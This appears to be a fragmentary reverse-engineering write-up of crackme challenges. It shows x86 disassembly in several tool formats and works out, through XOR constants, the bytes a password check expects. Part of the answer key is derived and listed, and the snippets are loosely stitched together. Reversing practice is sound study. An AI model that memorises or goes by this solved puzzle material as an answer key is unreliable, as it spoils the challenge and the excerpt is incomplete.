4010bd:       68 78 60 40 00        push   0x406078       "5y"

4010c2:       51                           push   ecx

4010c3:       e8 88 00 00 00        call   0x401150



4010d1:       be 6c 60 40 00        mov    esi,0x40606c      "R3versing"





40110d:       80 7c 24 04 45        cmp    BYTE PTR [esp+0x4],0x45   "E"

401112:       75 21                 jne    0x401135






























strings[0] = (0x78 ^ 0x34)

strings[1] = (0x31)

strings[2] = (0x7c ^ 0x32)

strings[3] = (0xdd ^ 0x88)

strings[4] = (0x58)

strings[5] = null





          0x08048451      55               push ebp

          0x08048452      89e5             mov ebp, esp

          0x08048454      0fb60521a00408   movzx eax, byte [0x804a021]    ; strings[1]

          0x0804845b      3c31             cmp al, 0x31                   ; 0x31 ?

      ,=< 0x0804845d      740a             jz 0x8048469                   ; not match

      |   0x0804845f      b800000000       mov eax, 0x0

      |   0x08048464      e98c000000       jmp dword 0x80484f5

      `-> 0x08048469      0fb60520a00408   movzx eax, byte [0x804a020]    ; strings[0]

          0x08048470      83f034           xor eax, 0x34                  ; xor 0x34

          0x08048473      a220a00408       mov [0x804a020], al            ; store res[0]

          0x08048478      0fb60522a00408   movzx eax, byte [0x804a022]    ; strings[2]

          0x0804847f      83f032           xor eax, 0x32                  ; xor 0x32

          0x08048482      a222a00408       mov [0x804a022], al            ; store res[2]

          0x08048487      0fb60523a00408   movzx eax, byte [0x804a023]    ; strings[3]

          0x0804848e      83f088           xor eax, 0xffffff88            ; xor 0x88

          0x08048491      a223a00408       mov [0x804a023], al            ; store res[3]

          0x08048496      0fb60524a00408   movzx eax, byte [0x804a024]    ; strings[4]

          0x0804849d      3c58             cmp al, 0x58                   ; 0x58 ?

      ,=< 0x0804849f      7407             jz 0x80484a8                   ; match

      |   0x080484a1      b800000000       mov eax, 0x0

      |   0x080484a6      eb4d             jmp 0x80484f5

      `-> 0x080484a8      0fb60525a00408   movzx eax, byte [0x804a025]    ; strings[5]

          0x080484af      84c0             test al, al                    ; null ?

     ,==< 0x080484b1      7407             jz 0x80484ba                   ; match

     |    0x080484b3      b800000000       mov eax, 0x0

     |    0x080484b8      eb3b             jmp 0x80484f5

     `--> 0x080484ba      0fb60522a00408   movzx eax, byte [0x804a022]    ; res[2]

          0x080484c1      3c7c             cmp al, 0x7c                   ; 0x7c ?

    ,===< 0x080484c3      7407             jz 0x80484cc

    |     0x080484c5      b800000000       mov eax, 0x0

    |     0x080484ca      eb29             jmp 0x80484f5

          0x080484cc      0fb60520a00408   movzx eax, byte [0x804a020]    ; res[0]

          0x080484d3      3c78             cmp al, 0x78                   ; 0x78 ?

      ,=< 0x080484d5      7407             jz 0x80484de

      |   0x080484d7      b800000000       mov eax, 0x0

     ,==< 0x080484dc      eb17             jmp 0x80484f5

     |`-> 0x080484de      0fb60523a00408   movzx eax, byte [0x804a023]    ; res[3]

     |    0x080484e5      3cdd             cmp al, 0xdd                   ; 0xdd ?

    ,===< 0x080484e7      7407             jz 0x80484f0

    ||    0x080484e9      b800000000       mov eax, 0x0

   ,====< 0x080484ee      eb05             jmp 0x80484f5

   |`---> 0x080484f0      b801000000       mov eax, 0x1

   `-`--> 0x080484f5      5d               pop ebp

          0x080484f6      c3               ret

Less..




8048450: c3                    ret    

 8048451: 55                    push   %ebp

 8048452: 89 e5                 mov    %esp,%ebp

 8048454: 0f b6 05 21 a0 04 08  movzbl 0x804a021,%eax

 804845b: 3c 31                 cmp    $0x31,%al

 804845d: 74 0a                 je     8048469 <__isoc99_scanf@plt+0xf9>

 804845f: b8 00 00 00 00        mov    $0x0,%eax

 8048464: e9 8c 00 00 00        jmp    80484f5 <__isoc99_scanf@plt+0x185>

 8048469: 0f b6 05 20 a0 04 08  movzbl 0x804a020,%eax

 8048470: 83 f0 34              xor    $0x34,%eax

 8048473: a2 20 a0 04 08        mov    %al,0x804a020

 8048478: 0f b6 05 22 a0 04 08  movzbl 0x804a022,%eax

 804847f: 83 f0 32              xor    $0x32,%eax

 8048482: a2 22 a0 04 08        mov    %al,0x804a022

 8048487: 0f b6 05 23 a0 04 08  movzbl 0x804a023,%eax

 804848e: 83 f0 88              xor    $0xffffff88,%eax

 8048491: a2 23 a0 04 08        mov    %al,0x804a023

 8048496: 0f b6 05 24 a0 04 08  movzbl 0x804a024,%eax

 804849d: 3c 58                 cmp    $0x58,%al

 804849f: 74 07                 je     80484a8 <__isoc99_scanf@plt+0x138>

 80484a1: b8 00 00 00 00        mov    $0x0,%eax

 80484a6: eb 4d                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484a8: 0f b6 05 25 a0 04 08  movzbl 0x804a025,%eax

 80484af: 84 c0                 test   %al,%al

 80484b1: 74 07                 je     80484ba <__isoc99_scanf@plt+0x14a>

 80484b3: b8 00 00 00 00        mov    $0x0,%eax

 80484b8: eb 3b                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484ba: 0f b6 05 22 a0 04 08  movzbl 0x804a022,%eax

 80484c1: 3c 7c                 cmp    $0x7c,%al

 80484c3: 74 07                 je     80484cc <__isoc99_scanf@plt+0x15c>

 80484c5: b8 00 00 00 00        mov    $0x0,%eax

 80484ca: eb 29                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484cc: 0f b6 05 20 a0 04 08  movzbl 0x804a020,%eax

 80484d3: 3c 78                 cmp    $0x78,%al

 80484d5: 74 07                 je     80484de <__isoc99_scanf@plt+0x16e>

 80484d7: b8 00 00 00 00        mov    $0x0,%eax

 80484dc: eb 17                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484de: 0f b6 05 23 a0 04 08  movzbl 0x804a023,%eax

 80484e5: 3c dd                 cmp    $0xdd,%al

 80484e7: 74 07                 je     80484f0 <__isoc99_scanf@plt+0x180>

 80484e9: b8 00 00 00 00        mov    $0x0,%eax

 80484ee: eb 05                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484f0: b8 01 00 00 00        mov    $0x1,%eax

 80484f5: 5d                    pop    %ebp



 80484f6: c3                    ret